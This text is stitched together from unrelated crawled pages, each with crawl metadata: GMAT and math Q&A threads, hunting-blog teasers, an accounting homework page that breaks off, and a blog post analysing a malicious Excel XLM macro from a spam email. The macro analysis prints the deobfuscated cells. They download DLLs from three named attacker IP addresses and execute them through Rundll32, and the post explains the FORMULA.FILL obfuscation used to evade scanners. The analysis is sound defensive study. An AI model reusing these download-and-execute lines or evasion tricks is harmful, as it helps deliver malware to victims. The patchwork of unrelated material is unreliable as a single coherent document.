(E) 6
_________________
VP
Joined: 31 Oct 2013
Posts: 1116
Concentration: Accounting, Finance
GPA: 3.68
WE: Analyst (Accounting)
Re: If (3/y + 2)(y - 5) and y ≠ 5, then y = [#permalink]
### Show Tags
11 Feb 2019, 23:35
1
Bunuel wrote:
If $$(\frac{3}{y} + 2)(y - 5)=0$$ and y ≠ 5, then y =
(A) -3/2
(B) -2/3
(C) 2/3
(D) 3/2
(E) 6
y can't be 5.
( y - 5) = 0
y = 5.
we must ignore this value.
(3/y + 2 )
$$\frac{3 + 2y}{y}$$ =0
3 + 2y = 0
2y = -3
y = -$$\frac{3}{2}$$
A is the correct answer.
Director
Joined: 09 Mar 2018
Posts: 903
Location: India
Re: If (3/y + 2)(y - 5) and y ≠ 5, then y = [#permalink]
### Show Tags
11 Feb 2019, 23:39
Bunuel wrote:
If $$(\frac{3}{y} + 2)(y - 5)=0$$ and y ≠ 5, then y =
(A) -3/2
(B) -2/3
(C) 2/3
(D) 3/2
(E) 6
now if y != 5
we can equate the previous expression to 0
3/ y = -2
y =-3/2
A
_________________
If you notice any discrepancy in my reasoning, please let me know. Lets improve together.
Quote which i can relate to.
Many of life's failures happen with people who do not realize how close they were to success when they gave up.
Re: If (3/y + 2)(y - 5) and y ≠ 5, then y = [#permalink] 11 Feb 2019, 23:39
Display posts from previous: Sort by
# If (3/y + 2)(y - 5) and y ≠ 5, then y =
new topic post reply Question banks Downloads My Bookmarks Reviews Important topics
Powered by phpBB © phpBB Group | Emoji artwork provided by EmojiOne Kindly note that the GMAT® test is a registered trademark of the Graduate Management Admission Council®, and this site has neither been reviewed nor endorsed by GMAC®. | 2019-02-15 19:03:56 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.49013984203338623, "perplexity": 9751.104935593978}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": false}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-09/segments/1550247479101.30/warc/CC-MAIN-20190215183319-20190215205319-00521.warc.gz"} |
https://math.stackexchange.com/questions/3114010/the-real-solution-from-a-system-of-equation | # The real solution from a system of equation
I found this question from my friend's math competition, I don't know where I must start it
There are 3 couples of real numbers $$(x_1,y_1) (x_2,y_2)$$ and $$(x_3, y_3)$$ that satisfies the system of equation : $$x³-3xy²=2010 , y³-3x²y=2009$$ Find the value of $$\left(1-\frac{x_1}{y_1}\right)\left(1-\frac{x_2}{y_2}\right)\left(1-\frac{x_3}{y_3}\right)$$
Hint.
In the homogeneous polynomial
$$p(x,y)=a x^3+b x^2y+c x y^2+d y^3 = 0$$
making $$\lambda = \frac xy$$ and substituting we have
$$(a\lambda^3+b\lambda^2+c\lambda + d)y^3 = 0$$
so assuming $$y \ne 0$$ we have
$$a\lambda^3+b\lambda^2+c\lambda + d = 0$$
and for each pair $$x_i,y_i$$ we have
$$a\lambda_i^3+b\lambda_i^2+c\lambda_i + d = 0$$
now
$$(1-\lambda_1)(1-\lambda_2)(1-\lambda_3) = 1 -(\lambda_1+\lambda_2+\lambda_3)+(\lambda_1\lambda_2+\lambda_2\lambda_3)-\lambda_1\lambda_2\lambda_3$$
but by Vieta's formulas
$$\frac ba = -(\lambda_1+\lambda_2+\lambda_3)\\ \frac ca = (\lambda_1\lambda_2+\lambda_2\lambda_3)\\ \frac da = -\lambda_1\lambda_2\lambda_3$$
hence
$$(1-\lambda_1)(1-\lambda_2)(1-\lambda_3) = 1+\frac ba+\frac ca+\frac da = 1+\frac{b+c+d}{a}$$
• I dont understand subt 4 part – user644938 Feb 16 at 4:02
• @user644938 I hope now it is clear. – Cesareo Feb 16 at 14:01
Hint: We substitute $$y=tx$$ then we get $$x^3(1-3t^2)=2010$$ $$x^3(t^3-3t)=2009$$ Dividing both equations we get $$2009(1-3t^2)=2010(t^3-3t)$$ This is a polynomial in degree three. Can you solve this equation?
We have $$2009(x^3-3xy^2)=2010(y^3-3x^2y)$$ or $$2009x^3+6030x^2y-6027xy^2-2010y^3=0,$$ which by the Viete's theorem gives $$\left(1-\frac{x_1}{y_1}\right)\left(1-\frac{x_2}{y_2}\right)\left(1-\frac{x_3}{y_3}\right)=$$ $$=1+\frac{6030}{2009}-3-\frac{2010}{2009}=\frac{2}{2009}.$$ | 2019-06-19 07:07:14 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 22, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.917076587677002, "perplexity": 412.71739023264286}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 20, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-26/segments/1560627998923.96/warc/CC-MAIN-20190619063711-20190619085711-00088.warc.gz"} |
http://www.sporting-rifle.com/tag/childerley/ | # The Shooting Show – three muntjac in a row with Chris Dalton
Chris Dalton has joined up with Paul Childerley for a week’s sport down south, taking a team of guest stalkers and swapping his usual red and sika for a more diminutive deer species. After an initial blank at the
Tagged with: , , , , , , , , , , , , , , , , , , , , , , , , , , ,
Posted in News
# First-day fallow
Paul Childerley sets out on 1 August with the twin aims of controlling a group of errant fallow bucks and filling the freezer with meat for a barbecue
Tagged with: , , , , , , , , , , ,
Posted in Features
# Challenge Childerley
Armed with the new Zeiss Conquest V6 riflescope, Paul Childerley sets himself the ultimate stalking task: Four species, three estates, one day
Tagged with: , , , , , , , , , , , , , , , , , , , ,
Posted in Features | 2019-04-25 04:43:37 | {"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8534825444221497, "perplexity": 3539.6464786322167}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-18/segments/1555578681624.79/warc/CC-MAIN-20190425034241-20190425060241-00248.warc.gz"} |
https://purisa.me/blog/excel-macro-analysis/ | # Re: You should look at this
13 minute read Published 22 March 2021
The tale of a malicious Excel macro.
## Background🔗
Last spring I published mipi-demo, the culmination of my journey to stream video end-to-end from scratch on an FPGA. It was one of my most challenging projects yet and I learned a lot from it.
Along the way I had the chance to contribute to the Linux kernel. There’s this V4L2 driver for the IMX219 camera module that configures it over I2C. While trying to understand the code I noticed that there were two redundant register writes. It wasn’t a big deal but I submitted a patch to remove them. Suffice it to say I am now a proud Linux contributor. 🐧
## An email arrives…🔗
Roughly a year has passed since I submitted that patch. I had forgotten all about it until a few days ago when I received the following email:
From:[email protected]
Subject:Re: [PATCH] media: i2c: imx219: remove redundant writes
Date:Tuesday, March 16, 2021 12:32
Size:225 KB
Hello,
You should look at this
Regards,
CONFIDENTIALITY NOTICE: The information contained herein is intended for the use of the individual or entity to which it is addressed and may contain information that is privileged, confidential and exempt from disclosure under applicable law. If the reader of this transmission is not the intended recipient or the employee or agent responsible for delivering the contents to the intended recipient, you are hereby notified that any dissemination, distribution or copying of this communication is strictly prohibited. If you have received this communication in error, please notify the sender immediately.
2307013695_03162021.zip
157 KB
Clearly this isn’t an important email. But the subject made me think it might be. Someone is scraping the kernel mailing list archives and emailing patch contributors en masse. No doubt there’s more junk mail headed my way! 📫
What’s interesting about this spam email is that it’s also malicious. The attachment is a ZIP archive containing an Excel document:
Aside from misspelling button as bytton and the all around poor grammar, an Excel document that asks you to enable editing is a sure sign of a macro attack. Once enabled the macro will automatically run whatever the attacker intended. It’s just as bad as downloading a program from an unscrupulous website and trusting it, but that may not be as obvious.
The last time I heard of an Excel macro attack was high school before everyone started using Google Sheets. So what gives?
According to security researchers, these attacks are on the rise again. It’s a smart attack vector; 76% of desktop computers run Windows2 and the majority have Excel installed in some form. This particular variant uses XLM macros which are compatible with any version of Excel3. VBA macros superseded them back in 1993 but they are supported for the sake of backwards compatibility. Most macro attacks are done with VBA macros so analysis tends to target those instead.
These are the ideal conditions for an attacker: a niche but untapped technology that lets them stay one step ahead. Microsoft recently announced that they are building better protections against malicious XLM macros. But of course, not everybody has the Office 365 variant.
1
2
Desktop Operating System Market Share Worldwide, statcounter GlobalStats, February 2021
3
## Analysis🔗
Learning about this kind of attack was interesting, but I still had one burning question: what does this workbook actually do? Finding the answers would take time. I have no background in analyzing malicious code and this was a great opportunity to dive right in! 🙂
### 🕵️ Detective work🔗
Before examining the macro, I thought it might be interesting to look at various sources of metadata to get info on the creator. Philippe Lagadec’s oletools, a collection of tools written in Python for analyzing Microsoft office files, were exactly what I needed. Here are the file’s properties:
> olemeta 2307013695_03162021.xls
Properties from the SummaryInformation stream:
+---------------------+------------------------------+
|Property |Value |
+---------------------+------------------------------+
|codepage |1251 |
|author |Rabota |
|last_saved_by |Operator |
|create_time |2015-06-05 18:19:34 |
|last_saved_time |2021-03-16 10:08:12 |
|creating_application |Microsoft Excel |
|security |0 |
+---------------------+------------------------------+
Rabota (работа in Cyrillic) is job/work in Slavic languages. It’s a safe bet that this file was created by someone in Eastern Europe or Russia. Operator is probably the perpetrator sending out these emails. The fact that it was originally created in 2015 is a bit odd though. Why is it suddenly resurging after six years? Rabota probably wrote the original attack and Operator purchased it recently. Or maybe it’s only now making its way through the hacker forums, though this is all just speculation. 🤷
#### Raw email (.eml)🔗
Another thing to check was the raw .eml file from my email provider. The headers there might shed some more light on the sender:
...
X-Sieve: CMU Sieve 3.0
X-Spam-known-sender: no
X-Spam-sender-reputation: 500 (none)
X-Spam-score: 2.8
X-Spam-hits: DOS_OUTLOOK_TO_MX 1.449, FORGED_OUTLOOK_HTML 0.001,
FORGED_OUTLOOK_TAGS 0.565, HTML_MESSAGE 0.001,
HTML_MIME_NO_HTML_TAG 0.635, ME_SENDERREP_NEUTRAL 0.001,
MIME_HTML_ONLY 0.1, MISSING_MID 0.14, RCVD_IN_DNSWL_NONE -0.0001,
RCVD_IN_MSPIKE_H3 0.001, RCVD_IN_MSPIKE_WL 0.001, SPF_HELO_NONE 0.001,
SPF_PASS -0.001, LANGUAGES en, BAYES_USED none, SA_VERSION 3.4.2
...
X-Mail-from: [email protected]
...
(dwidayatravel.com: Sender is authorized to use '[email protected]' in 'mfrom' identity (mechanism 'include:emailsrvr.com' matched))
identity=mailfrom;
envelope-from="[email protected]";
client-ip=146.20.161.76
...
MIME-Version: 1.0
X-Mailer: Microsoft Outlook 16.0
...
Sure enough there is some interesting information. The email claims to have been sent with Outlook 2016. However, when you look at the spam hits, SpamAssassin’s FORGED_OUTLOOK_TAGS suggests that this message has elements you can’t normally create with Outlook. So the attacker could be masquerading as an Outlook sender to bypass spam filters. 🧐
#### JPEG🔗
What pops up when you open the workbook turned out to be an image. More precisely, a 1600x1600 JPEG with the EXIF metadata left intact. I extracted it from the workbook using Apache POI and ran ImageMagick’s identify to check the EXIF tags:
> identify -verbose excel.jpg
...
exif:ColorSpace: 65535
exif:DateTime: 2021:03:02 23:57:02
exif:ExifOffset: 166
exif:PixelXDimension: 1600
exif:PixelYDimension: 1600
exif:thumbnail:Compression: 6
exif:thumbnail:JPEGInterchangeFormat: 304
exif:thumbnail:JPEGInterchangeFormatLength: 2778
exif:thumbnail:ResolutionUnit: 2
exif:thumbnail:XResolution: 72/1
exif:thumbnail:YResolution: 72/1
...
This suggests it was made with Adobe Photoshop around two weeks before the email was sent. Photoshop 22.0 was released in October 2020 so that lines up.
#### ZIP🔗
I was about to move on when it occurred to me that I had overlooked one last source of information: the metadata of the ZIP file itself! 🤯 Maybe programs left a signature when compressing files. It could be a comment or something as subtle as the compression level. Running zipinfo gave me a bunch of data:
> zipinfo -v 2307013695_03162021.zip
...
file system or operating system of origin: MS-DOS, OS/2 or NT FAT
version of encoding software: 6.3
minimum file system compatibility required: MS-DOS, OS/2 or NT FAT
minimum software version required to extract: 2.0
compression method: deflated
compression sub-type (deflation): normal
file security status: not encrypted
...
It’s hard to tell what’s relevant, but it seems like the zip file was created on Windows six minutes before the email was sent. I’d guess that the attacker has a script for automating the process.
### The macro itself🔗
With all the preliminary investigation out of the way, it was time to dissect the macro. oletools confirmed my thinking:
> olevba 2307013695_03162021.xls
...
+----------+--------------------+---------------------------------------------+
|Type |Keyword |Description |
+----------+--------------------+---------------------------------------------+
|AutoExec |Auto_Open |Runs when the Excel Workbook is opened |
|Suspicious|FORMULA.FILL |May modify Excel 4 Macro formulas at runtime |
| | |(XLM/XLF) |
|Suspicious|EXEC |May run an executable file or a system |
| | |command using Excel 4 Macros (XLM/XLF) |
|Suspicious|REGISTER |May call a DLL using Excel 4 Macros (XLM/XLF)|
|Suspicious|Base64 Strings |Base64-encoded strings were detected, may be |
| | |used to obfuscate strings (option --decode to|
| | |see all) |
+----------+--------------------+---------------------------------------------+
There’s definitely something strange going on here. The macro is running system code with DLLs and/or EXEs. It is also self-modifying to get around naive analysis techniques.
It was time to switch to a more flexible tool. I had my Apache POI program from earlier so I extended that to neatly print out all the relevant information.
Workbook breakdown (click to expand)
sheet1A1BLANKnull
sheet1AH87STRING“http://”
sheet1AL99STRING“R”
sheet1AL100STRING“L”
sheet1AL101STRING“D”
sheet1AL102STRING“o”
sheet1AL103STRING“w”
sheet1AL104STRING“n”
sheet1AK105STRING“J”
sheet1AL105STRING“l”
sheet1AK106STRING“J”
sheet1AL106STRING“o”
sheet1AK107STRING“C”
sheet1AL107STRING“a”
sheet1AK108STRING“C”
sheet1AL108STRING“d”
sheet1AK109STRING“B”
sheet1AL109STRING“T”
sheet1AK110STRING“B”
sheet1AL110STRING“o”
sheet1AL111STRING“F”
sheet1AK112STRING“HERTY”
sheet1AL112STRING“i”
sheet1AL113STRING“l”
sheet1AL114STRING“e”
sheet1AL115STRING“A”
sheet1AK117STRING“M”
sheet1AO262FORMULANOW()&“.dat”
sheet1AO263FORMULAFORMULA.FILL(“..\Kiod.hod”,AP263)
sheet1AO264FORMULAFORMULA.FILL(AL99&“undll32 “,AP264)
sheet1AO265FORMULAFORMULA.FILL(“,”&AL101&AL113&AL113&AL99&AL114&“gisterServer”,AP265)
sheet1AO271FORMULA(failed to parse) ЛОЖЬ
sheet1AO272FORMULAHERTY(0,AH87&Z400&AO262,“..\Kiod.hod”,0,0)
sheet1AO273FORMULAHERTY(0,AH87&Z401&AO262,“..\Kiod.hod1”,0,0)
sheet1AO274FORMULAHERTY(0,AH87&Z402&AO262,“..\Kiod.hod2”,0,0)
sheet1AO275FORMULAHERTY(0,AH87&Z403&AO262,“..\Kiod.hod3”,0,0)
sheet1AO276FORMULAHERTY(0,AH87&Z404&AO262,“..\Kiod.hod4”,0,0)
sheet1AO277FORMULAGOTO(sheet2!X212)
sheet1AU281FORMULARETURN()
sheet1Z400STRING“188.127.235.244/”
sheet1Z401STRING“193.38.54.244/”
sheet1Z402STRING“185.82.217.213/”
sheet2X213FORMULACOUNTBLANK(V201:V224)=COUNTBLANK(V201:V224)=EXEC(sheet1!AP264&sheet1!AP263&sheet1!AP265)=COUNTBLANK(V201:V224)=COUNTBLANK(V201:V224)
sheet2X214FORMULACOUNTBLANK(V201:V224)=COUNTBLANK(V201:V224)=EXEC(sheet1!AP264&sheet1!AP263&“1”&sheet1!AP265)=COUNTBLANK(V201:V224)=COUNTBLANK(V201:V224)
sheet2X215FORMULACOUNTBLANK(V201:V224)=COUNTBLANK(V201:V224)=EXEC(sheet1!AP264&sheet1!AP263&“2”&sheet1!AP265)=COUNTBLANK(V201:V224)=COUNTBLANK(V201:V224)
sheet2X220FORMULAGOTO(sheet1!AU279)
This workbook contains defined names:
• _xlfn.COMBINA in sheet1: is a function
• _xlfn.CONCAT in sheet1: is a function
• _xlfn.TEXTJOIN in sheet1: is a function
• HERTY in sheet1: refers to null
• Consolidate_Area in sheet1: refers to sheet1!$AO$168
There aren’t many online resources for what XLM macro functions do since they’re so old. Luckily, I came across the original macro help file from Excel 4.04. Armed with that I continued to evaluate the formula cells by hand.
4
Microsoft Excel Macro Functions Help in original .hlp or in HTML
#### Current time🔗
AO262 uses the NOW function for getting the current date and time. It’s represented as the decimal number of days since 1 January 1900.
sheet1AO262NOW() &“.dat”44276.7967810764.dat
A0272 to A0277 use HERTY – a custom function that downloads files by URL. Replacing the cell references reveals those URLs:
sheet1AO272HERTY(0,“http://188.127.235.244/44276.7967810764.dat”, “..\Kiod.hod”, 0, 0)
sheet1AO273HERTY(0,“http://193.38.54.244/44276.7967810764.dat”, “..\Kiod.hod1”, 0, 0)
sheet1AO274HERTY(0,“http://185.82.217.213/44276.7967810764.dat”, “..\Kiod.hod2”, 0, 0)
sheet1AO275HERTY(0,“http://44276.7967810764.dat”, “..\Kiod.hod3”, 0, 0)
sheet1AO276HERTY(0,“http://44276.7967810764.dat”, “..\Kiod.hod4”, 0, 0)
Only the first three are valid URLs. I tried downloading the files through Tor but didn’t have any luck. The first and third returned 403: Forbidden. The second refused connections.
This must be some kind of timed attack that cuts off a few days of sending the email. That way, the attacker can hit some victims but avoid proper detection by malware analyzers.
#### Deobfuscation🔗
AO263 through AO265 use the macro-only function FORMULA.FILL. It is a niche Excel antipattern; regular functions only read values from other cells, but this one can write to a target cell.
| Sheet | Original Address | Value | Evaluated | |–|–|–|–|–| |sheet1|AO263|FORMULA.FILL(“..\Kiod.hod”, AP263)|..\Kiod.hod| |sheet1|AO264|FORMULA.FILL(AL99 &“undll32 “, AP264)|Rundll32 | |sheet1|AO265|FORMULA.FILL(”,“ &AL101 &AL113 &AL113 &AL99 &AL114 &“gisterServer”, AP265)|,DllRegisterServer|
This shed some light on the end goal. The payload is a DLL to be executed with rundll32. These cells are obfuscated to avoid detection by heuristic virus scanners. More complex scanners evaluating the worksheet in a sandbox might overlook this because of FORMULA.FILL.
X213 through X215 look painful but are just another case of obfuscation.
The chain functions delimited by equal signs will be called from right to left as long as function outputs are equal. In other words, it is a shorthand for if statements with no else clause.
EXEC is an XLM macro function for starting another program in the background.
COUNTBLANK, as the name suggests, counts the number of blank cells in a range. So COUNTBLANK(V201:V224) equals 25 since all those cells are blank and can be safely removed when simplifying things:
sheet2X213EXEC(sheet1!AP264 &sheet1!AP263 &sheet1!AP265)EXEC(“Rundll32 ..\Kiod.hod,DllRegisterServer”)
sheet2X214EXEC(sheet1!AP264 &sheet1!AP263 &“1”&sheet1!AP265)EXEC(“Rundll32 ..\Kiod.hod1,DllRegisterServer”)
sheet2X215EXEC(sheet1!AP264 &sheet1!AP263 &“2”&sheet1!AP265)EXEC(“Rundll32 ..\Kiod.hod2,DllRegisterServer”)
So one or more copies of the attacker’s DLLs would run and the Excel worksheet would have served its purpose.
### Servers🔗
> whois 188.127.235.244
netname: DHUB-CUST
descr: Digital Hub Customers
country: RU
> whois 193.38.54.244
netname: PQ-HOSTING-NL
country: NL
org: ORG-PHS10-RIPE
> whois 185.82.217.213
netname: ITLDC1-SOF1
descr: ITLDC EU2.SOF Datacenter Network
country: BG
Three different hosting providers in three different countries. I never expected that an attacker would build in redundancy! Checking open ports with nmap revealed that the Russian and Bulgarian servers had an HTTPS port open. Both had the same expired SSL certificate for cdnmetrics.com. The trail went cold from there.
## Debrief🔗
Analyzing this Excel macro was a fun project overall, but the attacker’s goal remains a mystery. Oddly enough I find myself hoping for more spam to come my way. I’m ready for round 2! | 2021-04-18 16:51:03 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.31366848945617676, "perplexity": 7032.670181942896}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-17/segments/1618038507477.62/warc/CC-MAIN-20210418163541-20210418193541-00466.warc.gz"} |
https://math.stackexchange.com/questions/184639/how-do-i-find-the-start-and-end-point-of-an-arc-using-center-xy-radius-and-sta/1267299 | # How do I find the start and end point of an Arc? Using center xy, radius and start/end angle values.
I'm defining an arc by calling a function like this: arc(x, y, radius*2, radius*2, start, end);
x: center x.
y: center y.
start: start angle in radians or degrees.
end: end angle in radians or degrees.
And now I need to "close" the arc by drawing two lines, both from the center of the arc, to the start and end point of the arc.
How do I find the start and end points?
• You know the parametric equations for a circle? – J. M. is a poor mathematician Aug 20 '12 at 13:51
• No I don't think so. – 01AutoMonkey Aug 20 '12 at 14:01
• Well... you have some reading to do then!. If you get stuck come back with your sticking point. – rschwieb Aug 20 '12 at 14:27
• If you have different values for width and height, you have an ellipse, not a circle. Why is radius*2 repeated in the argument list? – Ross Millikan Aug 20 '12 at 14:33
• Are you working in GeoGebra? – Sigur Aug 20 '12 at 14:45
Given start angles and end angles you get
sX = offsetX + radius * cos(startAngle * PI/180)
sY = offsetY + radius * sin(startAngle * PI/180)
eX = offsetX + radius * cos(endAngle * PI/180)
eY = offsetY + radius * sin(endAngle * PI/180)
Multiplying an angle by PI/180 converts degrees to radians.
After reading http://en.wikipedia.org/wiki/Equation_of_a_circle#Equations as suggested by @rschwieb I came up with the following:
s_x = x+radius*Math.cos(startAngle*Math.PI);
• If your angles are in radians, you do not need the Math.PI factor. If your angles are in degrees, then you will need a factor of Math.PI/180 instead. – robjohn Aug 22 '12 at 19:16 | 2020-04-08 12:17:00 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.7662386298179626, "perplexity": 608.2487954773136}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-16/segments/1585371813538.73/warc/CC-MAIN-20200408104113-20200408134613-00432.warc.gz"} |
https://www.transtutors.com/questions/question-1-7-marks-capital-budgeting-payback-and-net-present-value-no-tax--30931.htm | # Question 1 (7 marks) Capital budgeting: Payback and net present value (no tax...
Question 1 (7 marks) Capital budgeting: Payback and net present value (no tax) Ramdig Inc. is expanding its operations and reviewing proposals that require the company to purchase new machinery to take advantage of the opportunities. Three proposals have been received from vendors. Each proposal has variations in machinery performance that would cause a difference in the output expectations for Ramdig. The company has an available cash balance of $2,620,000. The information relating to the three proposals are as follows: Cash inflows Proposal 1 Proposal 2 Proposal 3 Year 1$ 850,000 $550,000$100,000 Year 2 700,000 550,000 300,000 Year 3 600,000 300,000 500,000 Year 4 600,000 300,000 150,000 Cost output Initial investment $2,000,000$1,300,000 $900,000 Working capital 600,000 100,000 300,000 The working capital will be released at the end of the project. Required a.With the available cash of$2,620,000, which proposal would Ramdig accept if management were to make a rational decision based on the payback method of evaluating the proposals? State the reason why this proposal would be chosen. Assume that the length of each project is 4 years. (3 marks) b.What additional considerations would you ask for in making the decision for Ramdig? (2 marks) c.Based on the information provided, what course of action would you recommend to Ramdig if you used the net-present value method of proposal evaluation with a cost-of-capital of 8% (ignore tax shield calculations)? (2 marks) Question 2 (8 marks) Backflush costing Waycau Ltd. is a successful manufacturer and retailer of grandfather clocks. It has focused on custom time pieces for more than 15 years. Waycau often meets with customers to provide unique finished products. These clocks sell for $15,000 and up. Waycau also offers several standard clocks priced from$5,000-$10,000, and sales range from 5,000 to 10,000 per cabinet style. Waycau’s peak season for these sales is late fall for Christmas and early spring as people are acquiring new homes. The lower-end clocks sell in high-end retail outlets in cities throughout Canada, and the busiest stores are in Toronto, Vancouver, and Halifax. Waycau has recently developed an enterprise resource planning (ERP) system that allows it to schedule, manufacture, and deliver products to the retail outlets in as little as 6 weeks after the order is placed or the design submitted. Waycau utilizes a just-in-time inventory system to keep inventory costs down. Required a.(3 marks) i.Explain the major difference between a job-order costing system and a process costing system. (1 mark) ii.Would you recommend that Waycau utilize a process costing or job-order costing system? Explain why or why not. (2 marks) b.Would backflush costing be an appropriate management accounting system for Waycau? Provide one disadvantage and one advantage of backflush costing in your answer. (3 marks) c.Provide two examples of nonfinancial indicators of internal quality performance that you consider to be appropriate for Waycau, and briefly explain your choices. (2 marks) Question 3 (12 marks) Mix-and-yield variance Arden Ltd. produces a variety of feed for wild and domestic animals. The manager of the bird feed mix line, Robin Brill, received the following information from accounting and met with you, as a cost analyst, to make sense of the numbers. Arden's budget called for the production of 300,000 5-kg bags of bird feed in August. The standard mix and cost of this production is as follows: 945,000 kg of sunflower seeds at$4.10 472,500 kg of dry corn at $0.86 per kg 157,500 kg of other seeds at$0.53 per kg During August, the actual production was 310,000 bags, with the ingredients used as follows: 953,500 kg of sunflower seeds at $4.20 per kg 512,000 kg of dry corn at$0.78 per kg 161,000 kg of other seeds at $0.55 per kg Managers are allowed to make changes in the quantities of input as long as sunflower seeds are the primary ingredient. This allows Arden to promote the mix as a premium bird seed, while taking advantage of shifting availability and prices of inputs. Required a.Calculate the direct materials price and efficiency variances for August. (4 marks) b.Calculate the direct materials mix-and-yield variances for August. (4 marks) c.Develop a report to Robin Brill about your results for the month. (Include any additional analyses you would like to see in the report.) (4 marks) Question 4 (14 marks) Sales-volume variance Walker Inc. sells noise cancelling headphones in two designs — Silent and Quiet. The items are mass-produced in St. John's and shipped across Canada weekly. During the current year, the company has prepared a budget. The budgeted and actual results are as follows: Budgeted Actual Silent Quiet Total Silent Quiet Total Unit sales 15,000 6,000 21,000 13,900 7,300 21,200 Sales price$350.00 $180.00$6,330,000 $355.00$175.00 $6,212,000 Variable cost$190.00 $90.00$192.00 $89.00 Contribution margin$160.00 $90.00$2,940,000 $163.00$86.00 $2,893,500 Required a.Compute the flexible-budget variance and the sales-volume variance. (4 marks) b.Comment on the results of part a). (2 marks) c.Compute and comment on the static-budget variance. (2 marks) d.The market in noise cancelling head phones has been getting steadily more competitive with many such items coming from the offshore markets. Walker had anticipated a 15% market share overall of the estimated 140,000 noise cancelling head phone market. Actual total sales during the current year for the total market were 150,000 units. Compute the market-share and market-size variances and provide two possible explanations for the results. (Round percentages to 2 decimal points (e.g., 0.082345 becomes 8.23%). (6 marks) Question 5 (9 marks) Linear programming Rock Star Inc. processes stone for use in landscaping. Rock Star has three quarries at various locations in different parts of the province. Each quarry yields a different grade of stone. By weight, 90% of the stone taken from Quarry 1 is useable for landscaping. Quarry 2 has a 70% yield and Quarry 3 has the poorest quality stone, yielding only 60% useable landscaping stone. The stone is graded before processing and stone not suitable for landscaping is retained for other purposes and is not relevant to this decision. Proportion of useable landscaping stone Landscaping Other Quarry 1 (Q1) 90% 10% Quarry 2 (Q2) 70% 30% Quarry 3 (Q3) 60% 40% Rock Star has two processing plants in the province, the Northern and Southern. Because of the distance between the plants and the quarries, the shipping costs differ considerably. Q1 Q2 Q3 Northern plant (N)$1.75/kg $2.10/kg$1.20/kg Southern plant (S) $3.50/kg$1.50/kg \$2.00/kg Each plant has a limited capacity. Maximum weight processing (in kg) of 